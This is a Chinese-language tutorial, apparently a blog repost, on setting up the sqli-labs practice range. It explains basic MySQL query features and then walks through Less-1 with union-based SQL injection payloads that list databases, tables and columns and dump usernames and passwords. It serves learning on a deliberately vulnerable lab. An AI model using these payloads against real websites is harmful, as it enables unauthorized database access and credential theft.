sqli-labs闯关

目录

  • 1.安装靶场
  • 2.了解几个sql常用知识
    • 2.1联合查询union用法
    • 2.2MySQL中的通配符:
    • 2.3常用函数
    • 2.4数据分组
  • 3.mysql中重要的数据库和表
  • 4.开始闯关
    • 4.1 Less-1
      • 4.1.1 首先进行一次常规的注入
      • 4.1.2 深入解析

1.安装靶场

1.首先推荐使用github下载靶场源码

https://github.com/Audi-1/sqli-labs

2.接着你需要phpstudy即小皮面板来启动网站

https://www.xp.cn/

sqli-labs闯关_第1张图片
3.将下载下来的网站源码解压到小皮www文件夹下,通过浏览器进行访问。
sqli-labs闯关_第2张图片
4.接着点击setup创建相关的security数据库。这里我们要注意几个问题,首先是要点击sql_connections中的db_creds文件来更改连接数据库的密码,然后是要注意小皮面板所使用的php版本要更改为低版本例如php5.6.9。
5.创建靶场成功
sqli-labs闯关_第3张图片

2.了解几个sql常用知识

2.1联合查询union用法

联合查询必须要保证列是相同的
联合查询还有就是前面条件为假时后面条件才会生效
-- 中国或美国城市信息
SELECT * FROM city
WHERE countrycode IN ('CHN' ,'USA');
SELECT * FROM city WHERE countrycode='CHN'
UNION ALL
SELECT * FROM city WHERE countrycode='USA'
说明:一般情况下,我们会将 IN 或者 OR 语句 改写成 UNION ALL,来提高性能
UNION 去重复
UNION ALL 不去重复
**查询结果限定**SELECT语句最后可以用LIMLT来限定查询结果返回的起始记录和总数量。MySQL特有。
SELECTLIMIT offset_start,row_count;
offset_start:第一个返回记录行的偏移量。默认为0.
row_count:要返回记录行的最大数目。
例子:
SELECT * FROM TB_EMP LIMIT 5;/*检索前5个记录*/
SELECT * FROM TB_EMP LIMIT 5,10;/*检索记录行6-15*/

2.2MySQL中的通配符:

MySQL中的常用通配符有三个:
%:用来表示任意多个字符,包含0个字符
_ : 用来表示任意单个字符
escape:用来转义特定字符

2.3常用函数

group_concat   多行显示变成一行
select group_concat(id,password,emails) from users; 
select database() 查看数据库
select version() 查看版本
session_user() 返回连接数据库的用户名和主机名,也就是网站配置文件中连接数据库的账户
ascii() 将参数字符串转换为asccii码
length() 返回字符串长度
LEFT (str,len) 从左侧字截取符串,返回字符串左边的若干个字符
RIGHT          从右侧字截取符串,返回字符串右边的若干个字符
REPLACE(s,s1,s2) 字符串替换函数,返回替换后的新字符串
SUBSTRING(s,n,len) 截取字符串,返回从指定位置开始的指定长度的字符换
REVERSE 字符串反转(逆序)函数,返回与原始字符串顺序相反的字符串

2.4数据分组

数据分组--GROUP BY
GROUP BY子句的真正作用在于与各种聚合函数配合使用。它用来对查询出来的数据进行分组。
分组的含义是:把该列具有相同值的多条记录当成一组记录处理,最后只输出一条记录。
分组函数忽略空值,。
结果集隐式按升序排列,如果需要改变排序方式可以使用Order by 子句。
SELECT column, group_function
FROM table
[WHERE condition]
[GROUP BY group_by_expression]
[ORDER BY column];
order by的列如果是123那麽返回的就是第123列表中的数据。
#每个部门的平均工资
SELECT deptno,AVG(sal) FROM TB_EMP GROUP BY deptno

3.mysql中重要的数据库和表

请参照这篇博客
https://blog.csdn.net/qq_61237064/article/details/124434520sqli-labs闯关_第4张图片
sqli-labs闯关_第5张图片

4.开始闯关

4.1 Less-1

4.1.1 首先进行一次常规的注入

观察靶场我们可以发现,它让我们输入一个id,那我们就进行测试吧。
输入id=1
sqli-labs闯关_第6张图片

4.1.2 深入解析

既然我们可以输入一个id,那我们是否可以输入一些其他的语句,来获取更多的数据呢,答案是当然的,接下来我们就要依靠上面的知识。
1.探析所注入的表的列数
我们在上面知道了order by的用法,它可以为我们探查这个表到底有几列,例如

select * from users order by 1;

我们注入一个order by为5,即猜测表中有5列数据,他返回个错误,这下我们就知道了,他没有五列数据,我们就可以用二分法(100,50,25,12,6,3)来探查到底有几列数据,我们最终发现这个表有三列数据。
sqli-labs闯关_第7张图片
2.查库名
接下来就要用到联合查询union了。当我们查询所返回的列不与前面的数据的列相同时就会报错。列数相同时,数据就合并了。
sqli-labs闯关_第8张图片

我们发现查了1,2,3,他就返回了1,2,3,当我们查询数据库名字database(),数据库版本version()的时候他也会显示。
sqli-labs闯关_第9张图片
甚至你可以查出他所有的库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

sqli-labs闯关_第10张图片

3.查表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

sqli-labs闯关_第11张图片
4查users表中的列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'users' --+

sqli-labs闯关_第12张图片
5.查users表中所有数据

?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+

sqli-labs闯关_第13张图片

你可能感兴趣的:(安全)